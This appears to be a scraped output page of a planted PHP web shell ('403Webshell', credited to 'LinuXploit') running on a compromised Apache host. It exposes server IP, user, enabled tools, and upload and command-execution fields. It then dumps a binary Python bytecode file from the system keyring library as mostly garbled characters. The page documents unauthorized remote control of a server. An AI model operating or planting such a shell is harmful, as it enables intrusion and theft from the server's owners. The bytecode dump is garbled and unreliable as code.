403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyring/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyring/backends/__pycache__/chainer.cpython-311.pyc
�

%�cw��T�dZddlmZddlmZddlmZGd�dej��ZdS)	zV
Keyring Chainer - iterates over other viable backends to
discover passwords in each.
�)�backend)�
properties�)�failc�n�eZdZdZdZejd���Zejd���Zd�Z	d�Z
d�Zd�Zd	S)
�ChainerBackendzZ
    >>> ChainerBackend()
    <keyring.backends.chainer.ChainerBackend object at ...>
    Tc�^�t|j��dkrdntjjdz
S)z�
        If there are backends to chain, high priority
        Otherwise very low priority since our operation when empty
        is the same as null.
        r�
)�len�backendsr�Keyring�priority)�clss �:/usr/lib/python3/dist-packages/keyring/backends/chainer.pyrzChainerBackend.prioritys,�����&�&��*�*�r�r���1F��1J�K�c��d�}t|tj����}t|tjd���S)z5
        Discover all keyrings for chaining.
        c��tjpt}t|t��o||��o
|jdkS)N�)r�_limit�bool�
isinstancerr)�keyring�limits  r�allowz&ChainerBackend.backends.<locals>.allow$sC���N�*�d�E��w��7�7�7�)��E�'�N�N�)��$�q�(�
rT)�key�reverse)�filterr�get_all_keyring�sorted�by_priority)rr�alloweds   rrzChainerBackend.backendssC��	�	�	���� 7� 9� 9�:�:���g�7�#6��E�E�E�Erc�R�|jD]}|�||��}|�|cS�dS�N)r�get_password)�self�service�usernamer�passwords     rr$zChainerBackend.get_password/sF���}�	 �	 �G��+�+�G�X�>�>�H��#�����$�	 �	 rc�l�|jD]+}	|�|||��cS#t$rY�(wxYwdSr#)r�set_password�NotImplementedError)r%r&r'r(rs     rr*zChainerBackend.set_password5s`���}�	�	�G�
��+�+�G�X�x�H�H�H�H�H��&�
�
�
���
����	�	s�$�
1�1c�j�|jD]*}	|�||��cS#t$rY�'wxYwdSr#)r�delete_passwordr+)r%r&r'rs    rr-zChainerBackend.delete_password<s^���}�	�	�G�
��.�.�w��A�A�A�A�A��&�
�
�
���
����	�	s�#�
0�0c�R�|jD]}|�||��}|�|cS�dSr#)r�get_credential)r%r&r'r�
credentials     rr/zChainerBackend.get_credentialCsI���}�	"�	"�G� �/�/���B�B�J��%�!�!�!�!�&�	"�	"rN)
�__name__�
__module__�__qualname__�__doc__�viabler�
classpropertyrrr$r*r-r/�rrrrs����������F���L�L���L���F�F���F�  � � �������"�"�"�"�"rrN)r4�r�_compatrr�KeyringBackendrr7rr�<module>r;s~����
������ � � � � � �������<"�<"�<"�<"�<"�W�+�<"�<"�<"�<"�<"r

Youez - 2016 - github.com/yon3zu
LinuXploit